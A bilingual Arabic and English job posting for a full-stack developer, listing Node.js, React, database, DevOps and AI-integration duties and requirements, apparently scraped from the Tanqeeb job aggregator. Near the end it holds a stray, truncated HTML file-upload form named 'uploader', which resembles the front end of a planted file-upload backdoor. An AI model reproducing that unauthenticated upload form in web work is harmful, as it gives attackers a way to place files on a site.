المسؤوليات الرئيسية:
تطوير الخلفية (Backend): بناء وتحسين واجهات برمجة التطبيقات (RESTful APIs) الآمنة والقابلة للتوسع باستخدام Node.js (Express.js، NestJS).
تطوير الواجهة الأمامية والهواتف المحمولة: بناء واجهات مستخدم متجاوبة باستخدام React.js و(اختياريًا) ميزات الهواتف المحمولة باستخدام React Native.
إدارة قواعد البيانات: تصميم مخططات قواعد البيانات، وكتابة استعلامات فعالة، وإدارة عمليات النقل (Migrations) باستخدام أدوات ORM مثل Prisma أو Mongoose لـ PostgreSQL و MongoDB.
المصادقة والأمان: تطبيق نظام آمن لمصادقة المستخدمين والتفويض باستخدام JWT والبرمجيات الوسيطة للجلسات (session middleware).
تطوير العمليات والنشر (DevOps): تحويل التطبيقات إلى حاويات (Containerization) باستخدام Docker / Docker Compose، وإعداد سير عمل آلي للتكامل المستمر والنشر المستمر (CI/CD) عبر GitHub Actions، وإدارة عمليات النشر (مثل Vercel).
توثيق واجهات برمجة التطبيقات والجودة: كتابة كود نظيف ومحدد الأنواع (TypeScript)، وتوثيق نقاط النهاية باستخدام Swagger/OpenAPI، وإجراء اختبارات الوحدة والتكامل.
دمج الذكاء الاصطناعي والميزات (ميزة إضافية): بناء أو دمج إمكانيات الذكاء الاصطناعي (مثل LangChain، وقواعد البيانات المتجهة مثل Pinecone، وسلاسل RAG) في تطبيقات الويب.
المتطلبات
المتطلبات الرئيسية:
خبرة 2-3 سنوات في تطوير الفول ستاك (Full Stack Development).
شهادة جامعية في علوم الحاسوب، أو هندسة الحاسوب، أو خبرة عملية مكافئة.
لغات البرمجة: JavaScript، و TypeScript، و Python (ميزة إضافية).
أطر عمل Node.js: Express.js، NestJS.
الواجهة الأمامية: React.js، HTML5، CSS3، Bootstrap/Tailwind، React Hooks.
قواعد البيانات وأدوات ORM: PostgreSQL، MongoDB، Prisma ORM، Mongoose.
الأدوات والـ DevOps: Git، GitHub Actions (CI/CD)، Docker، Docker Compose، Swagger/OpenAPI، Vercel.
فهم قوي لأنماط تصميم البرمجيات (Software Design Patterns)، وحقن التبعيات (Dependency Injection)، وهياكل البيانات/الخوارزميات.
خبرة في بناء تطبيقات فول ستاك متكاملة من الصفر.
Key Responsibilities:
Backend Development: Build and optimize scalable, secure RESTful APIs using Node.js (Express.js, NestJS).
Frontend & Mobile Development: Build responsive user interfaces using React.js and (optionally) mobile features with React Native.
Database Management: Design database schemas, write efficient queries, and handle migrations using ORMs like Prisma or Mongoose for PostgreSQL and MongoDB.
Authentication & Security: Implement secure user authentication and authorization using JWT and session middleware.
DevOps & Deployment: Containerize applications using Docker / Docker Compose, set up automated CI/CD workflows with GitHub Actions, and manage deployments (e.g., Vercel).
API Documentation & Quality: Write clean, typed code (TypeScript), document endpoints using Swagger/OpenAPI, and conduct integration/unit testing.
AI & Feature Integration (Bonus): Build or integrate AI capabilities (e.g., LangChain, vector databases like Pinecone, and RAG pipelines) into web applications.
Requirements
Key Requirements:
2-3 years experience in Full Stack Development.
Degree in Computer Science, Computer Engineering, or equivalent practical experience.
Languages: JavaScript, TypeScript, and Python (a plus).
Node.js Frameworks: Express.js, NestJS.
Frontend: React.js, HTML5, CSS3, Bootstrap/Tailwind, React Hooks.
Databases & ORMs: PostgreSQL, MongoDB, Prisma ORM, Mongoose.
Tools & DevOps: Git, GitHub Actions (CI/CD), Docker, Docker Compose, Swagger/OpenAPI, Vercel.
Strong understanding of software design patterns, dependency injection, and data structures/algorithms.
Experience building end-to-end full-stack applications from scratch.
Tanqeeb.com هو محرك البحث عن الوظائف الأول فى الوطن العربى الذى يجمع لك الوظائف المناسبة من مختلف مواقع التوظيف الآخرى فى مكان واحد !
<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><inp...
المهارات التي يطلبها أصحاب العمل في مجالك، وخطة لتعلّمها